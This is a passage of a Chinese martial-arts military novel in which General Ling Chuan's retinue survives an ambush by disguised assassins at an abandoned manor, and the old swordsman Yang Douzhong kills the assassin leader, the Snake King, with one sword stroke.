噗嗤!噗嗤! 箭镞洞穿铠甲的沉闷声接连响起,随即便是成片的惨叫声,对方显然没有料到他们的弓箭射程和杀伤力如此惊人,不仅轻松达到一百多步,自己身上的铠甲在其面前,简直就跟纸糊的一般,一百人的队伍瞬间阵型大乱。 那名手持长枪的将领脸色骤变,他还未从震惊中回过神来,洛青云身后再次传来令人心悸的弓弦颤动声。 第二波、第三波箭雨接踵而至,毫不留情地收割着生命。 三轮齐射之后,对方百人队伍已经倒下大半,鲜血染红了官道。 “冲!” 洛青云口中再吐一字,声如惊雷! 一百骑兵迅速收起破甲弓,动作流畅如行云流水,随即提起长枪,跟着洛青云如离弦之箭般冲杀出去。 第一卷 第361章 苏醒! 这一套战术动作,他们早已演练了千百遍,深入骨髓。 眼看对方一百骑宛如一面铁墙碾压过来,那名将领脸色苍白如纸,内心一片冰凉。 他原本以为对方不过是一支普通的幽州军,虽然人数占优,但并未放在眼里,然而三轮齐射之后,他彻底改变了想法。 与此同时,洛青云已经杀到近前,马槊直取对方心口,气势如虹,杀意凛然。 那将领慌忙挥动长枪格挡。 “铛!” 金铁交鸣之声炸响,那将领只觉双臂剧震,虎口发麻,手中长枪几乎脱手,他内心骇然,没想到对方的力量如此恐怖。 他哪里知道,洛青云曾是禁军都尉,禁军乃是从各大军中精挑细选的绝对精锐,而他能在高手如云的禁军之中担任都尉,其实力可想而知。 无论是最初的死字营,还是如今的云州军,大多数人都知道唐岿然枪术冠绝北系军,却极少有人知道手持马槊的洛青云是何等恐怖的存在。 那将领还处在震惊之时,洛青云手腕一抖,马槊如毒蛇出洞,一式白蛇吐信直取对方手腕。 “噗!” 槊尖精准地刺穿对方持枪的手腕,长枪应声落地。 “砰!” 紧接着,洛青云马槊一记重击,槊杆狠狠拍在其胸口之上。 “噗……” 那将领当场喷出一口鲜血,身体直接倒飞下马背,他刚想要起身,冰冷的槊锋已经抵在了他的咽喉。 “口气这么狂,结果就这点本事?”洛青云冷笑道,声音中带着毫不掩饰的蔑视。 不消片刻,这支百人小队便被尽数全灭,现在看来,之前说的半炷香,还是太高估他们的实力了。 战斗结束之后,洛青云的手下已经自动开始打扫战场,动作娴熟。 至于那名将领,则是面如死灰,眼神中满是不可思议的神色,颤声问道:“你,你们不是幽州军,你们到底是谁?” 在他的印象中,幽州军绝对没有如此恐怖的战力。 洛青云神色冰冷,马槊微微向前递进半分,刺破对方咽喉处的皮肤,渗出一丝鲜血。 “现在,是我问,你答!”他的声音不带丝毫感情,却带着令人窒息的压迫感。 “你,你想知道什么?”将领的声音颤抖得厉害,死亡的恐惧彻底攫住了他。 “你是谁?”洛青云的声音冷硬如铁。 “我……我是徐大将军麾下校尉庞石酉,奉命前来追捕叛将谢允!”男子强作镇定地回答,但闪烁的眼神暴露了他内心的慌乱。 “谢允所犯何罪?”洛青云追问,目光如炬。 名为庞石酉的男子吞吞吐吐,眼神游移不定。 突然,他眼中闪过一丝决绝,竟猛地抓住洛青云的马槊,狠狠刺向自己的咽喉! “噗嗤!” 鲜血喷涌而出,庞石酉当场气绝身亡。 他能跟随许知白造反,显然早已将生死置之度外,对此结局,洛青云并不感到意外。 收槊回身,洛青云找到苍蝇与孟钊等将领,面色凝重:“将军尚未苏醒,我们该如何应对?” 孟钊与沈珏面面相觑,就连平日机敏过人的苍蝇也摇头叹息:“若不管此事,只能绕道而行。但迂回之路不仅崎岖难行,耗时更久,且地势狭窄,我军难以展开阵型,一旦遭遇伏击,后果不堪设想!” 众人皆认同苍蝇的分析,然凌川仍在昏迷,无人敢擅作主张。 正在此时,苏璃带着翠花款步而来。众人连忙行礼:“夫人!” 苏璃微微颔首,语气坚定:“洛校尉,请你率五百精骑前去救援,无论我们是否进入定州城,那些被挟持的家眷总是无辜的!” 洛青云面露迟疑,抱拳道:“夫人,非是属下违命,实在是将军安危事关重大,属下……” “咳咳……”就在这时,马车内传来一阵轻微的咳嗽声。 众人脸色一变,急忙趋前。只见凌川掀开车帘,脸色苍白,虚弱地说道:“苍蝇,青云,你俩进来!” 两人应声进入马车,凌川无力地倚靠着车厢,目光疲惫地看向二人:“发生何事?” 苍蝇将事情原委细细道来,听闻定州主将起兵造反,凌川眼中闪过震惊之色,他吃力地勾了勾手指,二人会意凑近。 低声交谈片刻后,二人退出马车。 “将军与夫人的安危就托付给你了,我快去快回!”洛青云对苍蝇郑重说道。 “老洛你放心去救人,我手下这四百多亲兵也不是吃素的!”苍蝇拍着胸脯保证。 洛青云点头,随即带上谢允,领兵疾驰而去,苍蝇则整顿队伍,准备继续前行。 苏璃回到马车中,欣喜中难掩忧色:“相公,你终于醒了,感觉如何?” 凌川虚弱摇头:“无碍,只是浑身乏力。” “醒了就好,好生休养自会恢复!”苏璃难掩激动。 “娘子,我睡了多久?”凌川从众人话语间推断行程已近定州,显然不是一两日之事。 “相公已昏迷五六日了!”苏璃轻声道。 凌川闻言震惊,随即想起什么,又问:“杨师傅呢?他怎么样了?” “杨师傅尚好,只是这些时日多在休酣!”苏璃温声回答。 原计划今日加紧赶路,天黑前可抵定州城。 然,如今定州已陷叛军之手,只能另寻落脚之处,最终,他们在距定州城三十里外的一座废弃庄园停驻。 这座庄园规模宏大,远远望去,但见青砖黛瓦,飞檐翘角,雕梁画栋隐约可见,显见昔日荣光。 庄园依山而建,格局精巧,虽已荒废,仍难掩当年气派。门前匾额上‘岊湬阁’三个鎏金大字虽已斑驳,犹显苍劲。 然而,这座华宅却有一段骇人听闻的往事,据说,首任主人花重金聘请上千工匠,历时三年才将庄园建好,然而入住不及一月,家中人接连暴毙,上至家主下至仆役,一月内竟死数十人。 家主惊惧之下,贱价转手,仓皇离去。 第二任主人命运更惨,全家十余口一夜之间惨遭屠戮,个个死状凄惨,有传言说是匪寇劫财害命,亦有说是庄园风水大凶,宅院恰建在一处极阴之地,加之前任主家横死多人,怨气凝聚,煞气冲天,终酿惨剧。 第一卷 第362章 岊湬阁! 自此,岊湬阁彻底荒废,即便白日里也显得阴森恐怖,还未靠近刺骨寒意便席卷而来。 过往行旅、流民乞丐,宁露宿荒野,也不愿入内避风雨。 直到多年后,一位游方老僧途经此地,但见庄园上空怨气凝结如墨,无数冤魂哀嚎盘旋,竟是百年难见的极凶之地。 老僧心生慈悲,毅然踏入凶宅,于正堂结跏趺坐,诵经超度。 整整九个日夜,老僧梵唱不绝。 据说超度至第三日夜间,忽闻阵阵啜泣之声;至五日,堂中烛火无故皆绿;至七日,阴风怒号,鬼哭凄厉;直至最后一日,一轮朝阳初升,道道金光破云而下,照彻庄园,经年不散的阴霾竟渐渐消散。 自此,岊湬阁虽然依旧无人长住,但有大胆的过往行人入内歇脚避雨,甚至偶有错过宿头之人在此借宿。 天色将暮时,凌川一行抵达庄园。 门前院坝宽敞,足以容纳十余架马车,亲兵们卸下车辕,将马匹牵至后院喂食,苍蝇则指挥亲兵布防设哨。 苏璃步入大堂,见一佝偻老者和一纤弱少女正围坐啃食干馍,老人腿上横着一把二胡,少女身旁倚着一把琵琶,显然是走江湖的卖艺人。 见大批甲士涌入,祖孙二人面露惧色,特别是见到魁梧凶悍的翠花后,更是瑟缩着退至墙角。 苍蝇欲上前盘问,被苏璃制止:“出门在外都不易,何况是他们先到,我等岂能霸道驱赶他人离开!” 她温和一笑,对祖孙二人道:“我等路过借宿,打扰二位了。” 老者嘶哑回道:“姑娘客气了,我祖孙二人并非此间主人,不过是比你们早到片刻。” 很快,堂中生起篝火。 虽已入夏,夜间并不寒冷,但火光既能照明,亦可驱散荒宅的阴湿之气,院中,亲兵们支起大锅生火做饭,这些炊具虽不常用,但行军在外,总有派上用场之时。 不多时,苍蝇搀扶着面色苍白、步履虚浮的凌川下车,到火堆旁坐下。 不远处那对祖孙悄悄打量了凌川一眼,又低头默默啃着干馍。 “相公,这是刚熬好的粥!”苏璃端来一碗热气腾腾的米粥。 “娘子,我自己来就好。”凌川勉强一笑。 “相公坐着便是,我喂你。”苏璃小心吹凉粥羹,细心喂到凌川唇边,“小心烫。” “鸡来啦!”余乐欢叫着捧来一只烤得焦黄油亮的肥鸡,浓郁肉香顿时弥漫整个大堂。 角落里的祖孙不自觉地咽了咽口水,显然被这香味吸引。 苏璃蹙眉道:“余乐,我不是让你炖汤吗?怎么给烤了?” 余乐嘿嘿笑道:“夫人莫急,鸡汤这就来!” 话音未落,王麻子已端着一锅热气腾腾的鸡汤进来,人未至,香先到,整个大堂顿时弥漫着诱人的香气。 “夫人,这是特地给将军炖的鸡汤!”王麻子笑道。 凌川抬眼问道:“这鸡从何而来?” 王麻子忙答:“将军,是夫人让我们去找附近乡亲买的。” 凌川点头,又问:“弟兄们可有吃食?” 王麻子连连点头:“路过小镇时,恰遇一屠夫,买了半扇猪肉,足够弟兄们饱餐一顿!” “让兄弟们吃饱后早些歇息!”凌川微微颔首,声音虽仍带着几分虚弱,却清晰稳定。他稍作停顿,又补充道:“记得给洛校尉那边的弟兄留足饭菜,他们奔波辛苦!” “将军放心!”余乐利落地抱拳应道,“咱们这边吃过之后,立马生火给他们做,热汤热饭绝少不了!” 正堂中央,那张不大的木桌上摆着一只烤得焦香酥脆的肥鸡和一砂锅热气腾腾、香气四溢的鸡汤。 凌川亲手撕下小半只鸡,用油纸包好,递给余乐:“给杨师傅送去。” “娘子,坐下一起吃吧!”凌川转向苏璃,语气温和。 苏璃刚依言坐下,目光便不经意间落在那角落里的爷孙二人身上,见他们正就着冷水啃食干硬的馍馍,她心下一软,轻声对侍立一旁的翠花吩咐道:“盛两碗鸡汤,给他们送去!” 翠花应声照办。 苏璃则是切下一块鸡肉,带着翠花来到二人跟前:“老人家,今日叨扰,这是一点心意!” 那衣衫褴褛的老者和年轻女子明显一怔,老者受宠若惊,连忙摆手,声音嘶哑:“哎呦,使不得,使不得……姑娘太客气了……” 苏璃展颜一笑,笑容温煦如春阳:“出门在外,相逢即是有缘!”说着,她便将那一大块鸡肉,轻轻塞到那年轻女子手中。 那女子年纪与苏璃相仿,捧着这突如其来的丰厚食物,一时手足无措,只得惶惑地望向爷爷。 “快谢过夫人!”老者连声道,语气激动。 女子正要起身行礼,却被苏璃伸手轻轻按住肩膀:“不必多礼,快趁热吃吧!”她的动作自然而不失体贴。 就在这时,门口传来一个清亮的少年嗓音:“哇!好香啊!这是谁家手艺,勾得小爷肚里的馋虫造反了!” 只见一个约莫十四五岁的少年出现在门前,扎着一条顽皮的冲天辫,背后负着一只几乎与他等高的木匣子。 守在门口的两名亲兵正要阻拦,那少年却身形一晃,如一阵清风般悄无声息地闪入堂中。 两名亲兵正要进屋驱赶,门口却又出现一道身影。 这是个和尚,确切地说是个小沙弥,年纪与先前那背匣少年相仿,约莫十四五岁光景,身穿一袭洗得发白的僧袍,双手合十,眉目清秀,稚嫩的脸上却带着超乎年龄的沉静与慈悲。 “阿弥陀佛!”小和尚轻诵佛号,也抬脚踏入门内。 一名亲兵伸手欲拦,手臂却被一股无形气劲轻轻荡开,不由得踉跄一步。 “小和尚,今天你运气好,大哥带你开荤!”那扎着冲天辫的少年目光在堂内扫视一圈,先在那对爷孙身上停留片刻,随后笑嘻嘻地看向凌川这边。 跟在身后的小和尚却连连摇头:“师父说了,不可破戒!” 少年不以为然地撇嘴:“在寺里听老秃驴的便罢了,出了门得听大哥的!” 说着,他带着几分玩世不恭的笑意,径直朝凌川这桌走来。 第一卷 第363章 杀机! 这突如其来的两人立刻惊动了值守的沈珏,他快步走进堂内,拦在少年面前,语气客气却带着警惕:“二位,我家主子身体不适,还望行个方便!” 曾在江湖中摸爬滚打的沈珏虽武功不算顶尖,眼力却非比寻常。 那少年也不恼,反倒像个老江湖般嬉笑道:“放心,我就是嘴馋,讨块肉吃而已!” 沈珏正要再劝,却听凌川开口道:“沈珏,添两副碗筷!” 见凌川发话,沈珏不再阻拦,命人取来碗筷,凌川抬手做了个请的手势:“二位请坐!” 扎着冲天辫的少年拉过小和尚,大剌剌地在凌川对面坐下,随手将木匣往地上一搁。 只见那匣子触地时发出沉闷的声响,显然远比看上去要沉重得多。 虽然烤鸡所剩无几,但鸡汤锅里还炖着整只鸡,少年指了指砂锅,咧嘴一笑,露出两颗虎牙:“放心,不白吃你的,吃你一只鸡,帮你杀一个人。” 此言一出,苏璃不禁一惊,凌川却面色如常,轻轻握了握她的手示意安心。 “我们已经用好,二位请自便!”凌川淡然道。 少年也不客气,伸手便从滚烫的锅里捞出整鸡,扯下肥嫩的鸡腿放进小和尚碗里:“喏,给你!” 小和尚盯着鸡腿,喉结不自觉地滚动了一下,却很快移开视线,双手合十,低声诵起经来。 少年看得直翻白眼,一巴掌拍在他后脑勺上:“真是个木鱼脑袋!等着饿死吧你!” 凌川饶有兴致地打量着二人。那少年大快朵颐,头上的冲天辫随着咀嚼的动作一摇一晃,眉宇间透着几分玩世不恭的桀骜。 身旁的小和尚则显得拘谨许多,虽然饿极,却始终强忍着不去看那诱人的鸡腿,清澈的眼眸中透着与年龄不符的坚韧。 那少年嘴里塞满了鸡肉,吃得正欢,忽然抬起头,油乎乎的手随意抹了抹嘴,看向凌川,含糊不清地问道:“有酒没?光吃肉,差点意思!” 凌川看他这副自来熟的模样,不由得失笑,转而对身旁的苏璃温声道:“娘子,去给这位小兄弟取一壶‘狼血’来,再给这位小师傅拿两个热馒头。” 苏璃点头,担忧地看了那两名少年一眼,终究没说什么,起身朝门外走去。 很快,苏璃提着一壶狼血走来,说道:“相公,你身体欠佳,可不许饮酒!” 凌川笑道:“放心,我不饮!”他接过酒壶,递给少年。 苏璃则是将两个白面馒头递给那小和尚,说道:“小师傅,快吃吧!” “阿弥陀佛!多谢女施主!”小和尚接过馒头,直接咬了一大口。 少年淡淡瞥了他一眼,说道:“别听那老秃驴的,若遵守戒律就能成佛,他为何自己还没成佛?” “修佛从不是为了成佛,就像明月从不是为照人而圆!”小和尚双手合十,目光澄澈如水,轻声道:“佛说:修佛如执炬夜行,非为照亮彼岸,只为看清脚下尘泥。戒律是渡河的筏,非河岸本身!若执着于成佛,恰如持炬而觅火,反被光影迷了本心!” “金刚经有言……” 小和尚正滔滔不绝,一个大馒头直接塞进他的嘴里:“别叭叭了,吃你的吧!” 就在这时,那爷孙二人起身朝着这边走来。 “多谢二位的肉食,我们爷孙二人无以为报,就用这讨饭吃的家伙,给大家助助兴吧!” 见凌川并未阻拦,那老者拿起怀中那把色泽深沉的二胡,二胡显然历经岁月摩挲,木质温润,琴弦却紧绷如初,透着一股沉敛的劲儿。 那年轻女子也拿起琵琶,怀抱于胸,指尖轻搭弦上,姿态娴雅。 老者微闭双目,枯瘦的手指握住琴弓,缓缓一拉。 霎时间,一道苍凉哀婉的音符自二胡弦间流淌而出,如孤雁划破秋日长空,瞬间攫住了所有人的心神。 那悲凉并非嚎啕大哭,而是一种沉淀于岁月深处的、无声的怆然,每一个颤音都仿佛在诉说着难以言传的往事。 紧接着,女子的琵琶声清越切入,初时如珠落玉盘,清脆灵动,带着生生不息的活力,试图驱散二胡的沉郁。 她的轮指迅疾而精准,弹挑之间,仿佛有溪水潺潺,春莺啼鸣,带来一线生机与暖意。 两股音律,一悲一欣,一沉一扬,起初似在相互试探,继而渐渐交融,竟配合得天衣无缝。 曲调时而高亢雄浑,琵琶声如银瓶乍破,水浆迸溅,二胡随之激昂,似壮士拔剑,气吞万里;时而急转直下,低沉婉转,琵琶改用揉弦,呜咽如泣,二胡则呜咽附和,如怨如慕,如泣如诉。 旋律层层推进,忽而如清风拂面,柳枝轻扬,清泉滑过青石,恬静安然;忽而乐风陡变,琵琶轮指疾扫,声似铁蹄铮铮,金戈碰撞,杀伐之气骤起! 二胡亦随之变得铿锵顿挫,琴弓如剑,每一次拉推都仿佛带着千军万马奔腾呼啸的惨烈气势,令人血脉贲张。 然而,无论曲调如何变幻,那二胡的基调里,总萦绕着一丝挥之不去的苍凉,而琵琶的灵动之下,也暗藏着一股不易察觉的锐利。 两者交织,动人心魄,却也隐隐透出锋芒。 片刻之后,一曲奏罢,余音仿佛仍在梁间缭绕,众人犹自沉浸在方才的音乐幻境之中。 凌川收回目光,转向身旁的苏璃,轻声问道:“娘子觉得他们弹奏得如何?” 苏璃由衷点头夸赞道:“音律精妙,配合无间。能在这荒郊野岭之地,听到如此扣人心弦的曲调,实属难得!” 凌川苍白的脸上带着几分若有深意的笑意,轻轻叹息一声,道:“曲子确实不错,技艺更是精湛,可惜,被一丝若有若无的杀气给玷污了,失了几分纯粹。” “杀气?”苏璃闻言,美眸中顿时流露出不解与惊讶。 而那原本正准备谦逊道谢的少女,身形微微一僵,眼底深处闪过一抹极深的惊骇,反倒是那老者面如常色,看不出任何端倪。 那少年吐出最后一块鸡骨头,还嗦了嗦手指上的油渍,点头道:“不错,这么好的曲子被杀气玷污,实在是大煞风景!” 第一卷 第364章 蜀山剑宗! “公子说笑了!”那女子怀抱琵琶,微微躬身行了一礼,姿态柔弱,声音却带着一丝不易察觉的紧绷,“我与爷爷虽流落江湖卖艺为生,却并非打打杀杀的江湖人,怎会懂得什么杀气呢?” 凌川淡然一笑,目光却锐利如刀,仿佛能穿透那副楚楚可怜的表象:“你不懂,但你的刀一定懂!” 女子脸色微变,连忙将怀中琵琶举到身前,语气惊慌地辩解:“公子真会说笑,小女子随身只有这把琵琶傍身,哪来的什么凶器……” 一边解释,还下意识地朝凌川靠近了两步,似乎想要将琵琶递给凌川检查,以证清白。 可就在此时,她三根纤纤玉指猛然拂过琴弦! “叮叮咚……” 三道清脆的音符骤然炸响! 几乎同时,三枚细如牛毛、淬着幽蓝寒光的针状暗器,自琵琶的共鸣箱中激射而出,撕裂空气,直取凌川面门,距离不足十步,又是猝然发难,这几乎是必杀之局! 这突如其来的巨变,饶是始终保持警惕、守在门口的沈珏,也只来得及瞳孔猛缩,根本来不及做出任何有效的拦截。 眼看那三枚暗器就要射中凌川的面门,那小和尚却抬起衣袖一挥,只见一道金光闪过,那三枚暗器直接被衣袖击落。 几乎在同一刹那,那女子手腕一翻,竟从琵琶背面抽出一柄寒光闪闪的狭长短刀,她身形如鬼魅般暴起,快如闪电,直扑凌川!刀尖所指,寒意逼人! “保护将军!”沈珏与孟钊此时已怒吼着抢至凌川身前,门外亲兵闻声而动,甲胄碰撞之声骤响。 “翠花,先送夫人回车里!”凌川的声音却异常冷静。 “相公!”苏璃花容失色,与凌川十指紧扣的手心里全是冷汗。 “相信我!”凌川轻轻捏了捏她的手背,语气不容置疑。 翠花立刻护着苏璃迅速离开。 与此同时,那小和尚不知何时已起身,一步踏出,竟后发先至,稳稳挡在了凌川与那持刀女子之间。 “阿弥陀佛!”一声稚嫩却庄严的佛号响起。 小和尚双掌合十的刹那,周身空气仿佛凝滞,一道道璀璨夺目的金色佛文自他合拢的掌间流淌而出,迅速在他身前交织流转,形成一面半透明的、仿佛由无数符文构成的金色光壁! “铛!” 女子那凌厉无匹的一刀,狠狠刺在光壁之上,竟发出金石撞击般的脆响。 一股磅礴柔韧的反震之力传来,女子只觉虎口剧痛,短刀险些脱手,整个人被硬生生震得踉跄后退数步! 她眼中写满了惊骇,万万没想到这看似木讷的小和尚,内力竟如此精深淳厚! “动手!”女子尖啸一声,不再犹豫。 霎时间,一道道黑影如同夜枭般从上方房梁俯冲而下。 人尚在半空,便已双手连扬,无数飞镖、袖箭、透骨钉等各式暗器,如同疾风骤雨般朝着凌川所在的位置笼罩下来。 数十上百枚暗器在跳跃的火光映照下,闪烁着密密麻麻的慑人寒光,宛如一张大网。 这阵势,那少年玩世不恭的脸色也为之凝重起来:“二驴!顶不顶得住啊?” “还好!”小和尚回答依旧简练,但神色却无比专注。 他轻吒一声,体内真气澎湃涌出,周身流转的金色光壁骤然变得更加凝实、耀眼,范围也扩大了几分,将凌川死死护在身后。 “叮叮当当……” 一阵密集如雨打芭蕉般的撞击声过后,所有暗器竟无一能突破那看似薄弱的金色光壁,纷纷无力地坠落在地。 “杀!” 冷喝声再起,那十多名黑衣杀手眼见暗器无效,纷纷擎出长刀短剑,身形闪烁,从四面八方悍不畏死地扑杀过来! 孟钊和沈珏见状,怒吼一声就要迎上,门外的苍蝇也已带着一众亲兵冲至门口,右手战刀出鞘,左手端起了威力强劲的匣子弩,眼看就要扣动机括。 “都别动!看小爷的!” 就在这千钧一发之际,那扎着冲天辫的少年大吼一声,一把将身旁那沉重的木匣拉过,手掌猛地一拍匣盖! “咔嚓!” 机括轻响,木匣两侧应声弹开,露出里面寒光耀目、造型各异的六把长剑! 少年手捏剑诀,指尖真气流转,凌空疾点:“去!” 咻咻咻…… 匣中长剑仿佛被无形的丝线牵引,竟自主嗡鸣着飞射而出,化作六道颜色各异、凌厉无匹的剑光,如同拥有生命般,在空中划出刁钻诡异的弧线,精准地射向扑来的杀手! “嗤嗤嗤……” 利刃割裂肉体的沉闷声与凄厉的惨叫瞬间响起,剑光过处,血花迸溅。 仅仅一个照面,便有六名杀手被飞剑透体而过,当场毙命! 剩余几名杀手虽惊骇欲绝,却依旧悍不畏死地前冲,然而那六把飞剑灵动异常,在空中交织成一张密不透风的剑网,速度奇快,轨迹难测,将他们死死缠住,根本无法越雷池一步! “放箭!”苍蝇看准时机,一声令下。 门外亲兵手中的匣子弩同时激发,上百支强劲的弩箭形成一片密集的箭雨,瞬间覆盖了杀手所在的区域,毫无死角! “噗噗噗……” 剩余几名杀手根本无处可躲,当场被射成了刺猬,惨叫着倒地。 那女子虽用短刀荡开了几支短箭,但手臂还是被射中,只见她捂着鲜血直流的手臂踉跄倒退。 “哼!” 就在此时,一声冰冷彻骨的冷哼,如同寒冬腊月的朔风,骤然席卷了整个正堂。 一直沉默不语、手持二胡的老者,终于动了,他只是轻轻向前踏出一步。 霎时间,整个正堂的空气无声凝固,一股沉重如山的恐怖威压弥漫开来,那漫天激射的弩箭竟如同陷入了无形的泥沼,纷纷诡异地悬停在了半空之中,寸进不得! 随着老者第二步踏出,那股无形的力量轰然扩散,所有悬停的弩箭如同失去了所有力道,噼里啪啦地坠落一地。 “给我破!”冲天辫少年脸色涨红,大喝一声,双手剑诀猛然一变,全力催动六把长剑。 那六把长剑发出一阵不甘的嗡鸣,剑光大盛,竟硬生生挣脱了部分束缚之力,如同六条愤怒的蛟龙,调转方向,携带着刺耳的尖啸,齐齐射向那黑袍老者。 第一卷 第365章 含恨磨剑二十载! 老者浑浊的眼中首次露出一抹真正的诧异之色,嘶哑的声音如同砂纸摩擦,令人不寒而栗:“二十年未踏足中原……没想到,江湖中竟出了如此惊才绝艳的后辈……” 以他的眼力,自然一眼看出,这少年施展的乃是蜀山御剑真诀,而那小和尚的护体金光,则像极了空观寺的不传之秘——般若金钟罩! 话音未落,枯瘦老者干枯的手掌随意抬起,宽大的黑袍袖口轻轻一拂。 一股磅礴阴冷的无形气劲如同排山倒海般涌出,那六把凌厉无匹的飞剑竟如同撞上了一堵无形铁壁,发出一连串哀鸣,剑光瞬间黯淡,被硬生生荡飞开来! 少年脸色剧变,急忙运转剑诀,试图牵引飞剑返回。 然而,就在此时,其中一把湛蓝色长剑,竟被人轻描淡写地一把握住了剑柄! 少年心神剧震,试图控制长剑挣脱返回,然而他震惊地发现,那柄名为惊鲵的长剑,竟然与自己断绝了所有联系。 握住长剑的,是一名不知何时出现在门口的青衫老者。 他满头白发,身形佝偻,就这样一步步走进来,没有强大的气势,却让现场陡然间安静下来。 “当年我饶你一命,让你立誓永世不得再入中原!”正是杨铁匠的青衫老者,抬起浑浊的眼睛,看向那枯瘦老者,声音平淡却带着毋庸置疑的威严,“看来,你是将我的话,当作耳旁风了!” 看到杨铁匠此刻虚弱的样子,凌川心中一紧,他比谁都清楚,对方是因为自己才变成这般模样。 此时的杨铁匠看起来有些虚弱,步履虚浮无力、目光浑浊无神,就像是一个行将就木的老人。 在见到杨铁匠的瞬间,那名黑袍老者眼底本能地闪过一丝源自灵魂深处的恐惧,但旋即,这恐惧便被积累了二十年的怨毒与疯狂杀意所淹没! “杨—斗—重!”老者的声音因极致的仇恨而颤抖。 “二十年前那一剑,是我平生奇耻大辱!这二十年来,我像阴沟里的蛆虫般在黑暗中苟延残喘,忍辱负重,为的就是今天!报当年那一剑之仇!” 杨斗重闻言,只是不屑地嗤笑一声,那笑声虚弱,却带着碾碎一切的傲然:“二十年前,我能一剑斩碎你的道心,二十年后的今天,我照样能一剑取你狗命!” “狂妄!”其身份乃是幽灵殿创始人的蛇王怒声喝道,眼眸中杀意绽放而出。 蛇王周身杀意如实质般汹涌而出,冰冷的气息让整个正堂的温度都骤降几分,“当年败给你,是我技不如人,无话可说!但如今……我很想知道,气息奄奄、油尽灯枯的你,还剩下当年几分实力?竟敢在此大言不惭!” 正如蛇王所言,二十年前,他面对的是剑意鼎盛、锋芒冠绝天下的剑神杨斗重。彼时落败,他心服口服,只能如丧家之犬般立誓遁走域外。 可如今,时过境迁! 他早已不是当年的蛇王,二十年蛰伏,饮恨磨剑,他将所有的怨毒与不甘都化为了淬炼锋芒的毒火。 而眼前的杨斗重,更非昔日那横压中原江湖的一代剑神。自白云城折剑之后,此人销声匿迹十六载,再见时,已是白发苍苍、气血衰败、步履蹒跚的模样,周身再无那令人窒息的绝世锋芒,只余下一副油尽灯枯的残躯。 更遑论,为助那凌川炼化体内的杀气,此人定然耗损了大量本源真元,若非敏锐地察觉到了杨斗重处于前所未有的虚弱状态,他蛇王又岂敢在明知他随行的情况下,依旧悍然发动刺杀? “这二十年来,我无时无刻不在想着重入中原,杀你雪耻!”蛇王的声音嘶哑凄厉,如同夜枭啼哭,积攒了二十年的怨毒在这一刻彻底爆发,“可惜啊可惜……几年苦候,等来的却是你折剑白云城、自绝于江湖的消息!告诉我,杨斗重,你那颗无敌的剑心,碎剑之后,可曾修复如初?” “哈哈哈哈……” 杨斗重发出一串苍老却依旧豪迈的大笑,浑浊的双目开阖间,竟似有电光一闪而逝,那目光中的不屑,与二十年前一般无二。 “我杨斗重就算只剩最后一口气吊着,杀你也无需出第二剑!” “狂妄!!”蛇王彻底被这轻蔑激怒,积蓄了二十年的恨意与杀意轰然引爆! 只见他手中二胡片片碎开,表面的木头如灰烬一般脱落,露出一把漆黑长剑,琴头位置化为的剑柄乃是一颗狰狞蛇头。 顷刻间,一股滔天杀意弥漫而出,岊湬阁正堂温度骤降,火堆的光芒都被这股气息压制得黯淡下去。 “杨斗重,我躲在阴暗中磨剑二十载,这一剑,是我精心为你准备的!” “看剑!” 一声冷吒宛如冰面碎裂,蛇王出手了,只见他抬手一剑刺出。 霎时间,大堂的空气都变得扭曲了起来,凝聚成一道道冰冷剑芒,与他手中的蛇形长剑一起,朝杨斗重刺来。 无论是那扎着冲天辫的少年,还是他身边的小和尚,见到这一幕皆感觉浑身冰冷,他们扪心自问,若是自己面对这一剑,根本挡不住。 至于门口的一众亲兵,更是浑身冰冷,汗毛倒竖,他们简直不敢相信,世间竟有如此恐怖的高手。 杨斗重宛如一颗古松立在原地,面对那铺天盖地席卷而来的漫天杀机,他只是微微抬起了眼皮。 那双浑浊的眸子中闪过一道璀璨光芒,虽然只是一闪而逝,却让人肌体生疼。 没有惊天动地的气势,没有繁复华丽的招式。 他甚至没有去看那千百道寒芒杀机中的真身所在。 只是简简单单地,抬起手中长剑,朝着前方一划。 这一划,轻描淡写,仿佛拂去眼前的一缕尘埃,又似画家在完成一幅传世之作时,那最后决定性的一笔。 没有刺目的光华,没有剧烈的爆鸣。 只有一道极致纯粹、极致凝练的线条在空中经久不散。 紧接着,那笔直线条宛如广陵浪潮一般,迅速朝着前方滚动。 那漫天璀璨的剑芒、那冰冷蚀骨的杀意,就如同烈日下的冰雪,悄无声息地消融、溃散…… 大道至简,不外如是! 第一卷 第366章 七星剑匣! “叮……” 一声轻微到几乎不可闻的脆响响起。 时间仿佛在这一刻凝固,蛇王前冲的身形猛然僵住,脸上那疯狂怨毒的表情瞬间凝固,转而化为极致的惊愕与难以置信。 他低头,看向自己的胸口,没有伤口,没有血迹。 但他能感觉到,一股霸道无双、犀利无匹的剑气,已经透过他的剑,侵入了他的五脏六腑,湮灭了他所有的生机。 “这……不可……能……” 他艰难地吐出几个字,眼中的神采迅速黯淡下去。 下一刻,他手中那把漆黑的蛇形长剑断成两截,其断口光洁整齐。 “噗……” 一声轻响传来,他身上的黑袍炸开,化为齑粉,紧接着是他的身体,也宛如那件黑袍一般,化为一片血雾。 至死,他都没能看清对方那一剑的轨迹。 现场所有人无不是瞪大双眼,甚至都忘记了呼吸,无论是扎着冲天辫的少年还是那慈眉善目的小和尚,以及凌川和一众亲兵,皆是浑身僵硬,呆若木鸡。 曾经凶名赫赫,一手打造幽灵殿这一恐怖杀手组织的蛇王,就这样死在杨铁匠那风轻云淡的一剑之下,尸骨无存! 剩余那名幽灵殿年轻女子,早已被吓傻,她是蛇王一手培养起来的,她不知道蛇王的实力到底有多强,但她知道,就算是自己再强十倍,也难以接下对方一招。 然而,就是这样一位在她心目中近乎无敌的强者,却被另外一个人一招秒杀了,整个人直接化为血雾。 尽管杨斗重那一剑并非是针对她,但就在刚才,她却清楚感受到那看似随手一剑所携带的凌厉威压,在那道无敌剑气面前,她直接被禁锢在原地无法动弹。 估计放眼整座江湖,也只有那几位号称横推江湖的宗师,才能接下了。 全场鸦雀无声。 所有人都被这返璞归真、却又恐怖到极致的一剑,震撼得无以复加。 “咳咳……” 杨斗重轻咳两声,在寂阒无声的正堂中无比刺耳,将不少人的心神也拉了回来,只见他身形微微晃动了一下,脸色似乎又苍白了几分。 随即,杨铁匠手腕轻抖,将那柄湛蓝色惊鲵剑抛向扎着冲天辫的少年。 少年赶忙双手接过,神色肃然,对着杨铁匠深深一揖,再无半分之前的玩世不恭,唯有发自内心的敬重。 “萧剑离是你什么人?”杨铁匠侧目瞥了少年一眼,声音沙哑地问道。 “是晚辈的大师兄!”少年恭敬回答。 